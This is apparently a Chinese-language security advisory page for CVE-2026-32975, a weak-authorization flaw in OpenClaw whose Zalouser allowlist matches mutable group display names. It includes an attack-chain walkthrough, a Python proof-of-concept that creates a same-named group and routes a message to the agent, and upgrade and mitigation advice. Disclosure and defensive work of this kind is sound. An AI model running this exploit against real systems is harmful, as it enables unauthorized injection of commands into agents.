IPBUF安全漏洞报告
English
CVE-2026-32975 CVSS 9.8 严重

CVE-2026-32975 OpenClaw弱授权绕过漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-32975
漏洞类型
权限绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过OpenClaw授权逻辑缺陷CVSS-9.8访问控制

漏洞概述

OpenClaw在2026.3.12之前的版本中存在严重的弱授权漏洞。该漏洞源于Zalouser白名单模式的实现缺陷,系统错误地使用可变的组显示名称而非稳定的组标识符进行权限校验。攻击者可利用此漏洞创建与白名单组同名的恶意组,从而绕过通道授权检查,将未经授权的消息路由至代理,导致机密性、完整性和可用性受损。

技术细节

该漏洞的核心在于OpenClaw组件中Zalouser白名单模式的身份验证逻辑存在严重缺陷。系统在设计时本应依赖稳定且唯一的Group ID(组标识符)来校验消息来源的合法性,但在实际实现中,却错误地使用了可变的Group Display Name(组显示名称)作为匹配依据。由于组显示名称并不具备唯一性,任何用户都可以创建具有相同名称的新组。攻击者无需经过身份认证(PR:N),即可通过网络(AV:N)发起攻击。他们只需创建一个与白名单内受信任组同名的恶意组,并向系统发送消息。由于校验机制仅比对名称,系统会将恶意消息误判为合法流量,从而成功绕过通道授权。这种逻辑错误导致攻击者能够劫持通信通道,将非预期来源的数据注入到Agent中,严重破坏了系统的信任模型。

攻击链分析

STEP 1
侦察
攻击者通过观察或猜测,确定Zalouser白名单中受信任的组显示名称(例如 'admin-ops')。
STEP 2
准备
攻击者在OpenClaw系统中创建一个新的组,并将其显示名称设置为与白名单组完全相同(如 'admin-ops')。
STEP 3
利用
攻击者使用新创建的恶意组向Agent发送消息。由于系统仅校验显示名称,消息通过验证。
STEP 4
影响
未经授权的消息被成功路由并处理,导致数据泄露、篡改或系统可用性受影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-32975 # This script demonstrates how an attacker can bypass authorization # by creating a group with the same display name as an allowlisted group. import requests def exploit(target_url, allowlisted_group_name): # Step 1: Create a malicious group with the same display name create_group_url = f"{target_url}/api/groups" payload = { "display_name": allowlisted_group_name, # The vulnerable mutable field "description": "Malicious group created by attacker" } print(f"[*] Creating malicious group with name: {allowlisted_group_name}") response = requests.post(create_group_url, json=payload) if response.status_code == 201: malicious_group_id = response.json().get('id') print(f"[+] Malicious group created with ID: {malicious_group_id}") # Step 2: Send a message from the malicious group to the Agent send_msg_url = f"{target_url}/api/messages" message_payload = { "group_id": malicious_group_id, "content": "Unauthorized command execution via weak auth" } print(f"[*] Sending message from malicious group...") msg_response = requests.post(send_msg_url, json=message_payload) if msg_response.status_code == 200: print("[!] Exploit successful! Message routed to Agent despite authorization bypass.") else: print("[-] Failed to route message.") else: print("[-] Failed to create group.") if __name__ == "__main__": # Replace with actual target and discovered allowlist name TARGET = "http://openclaw-target:8080" ALLOWLISTED_NAME = "admin-ops" # Example discovered allowlisted name exploit(TARGET, ALLOWLISTED_NAME)

影响范围

OpenClaw < 2026.3.12

防御指南

临时缓解措施
建议用户立即升级到修复了该弱授权漏洞的最新版本。在无法立即升级的情况下,应严格限制创建新组的权限,或手动审查所有现有组的名称唯一性,并暂时关闭Zalouser白名单模式以防止权限绕过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表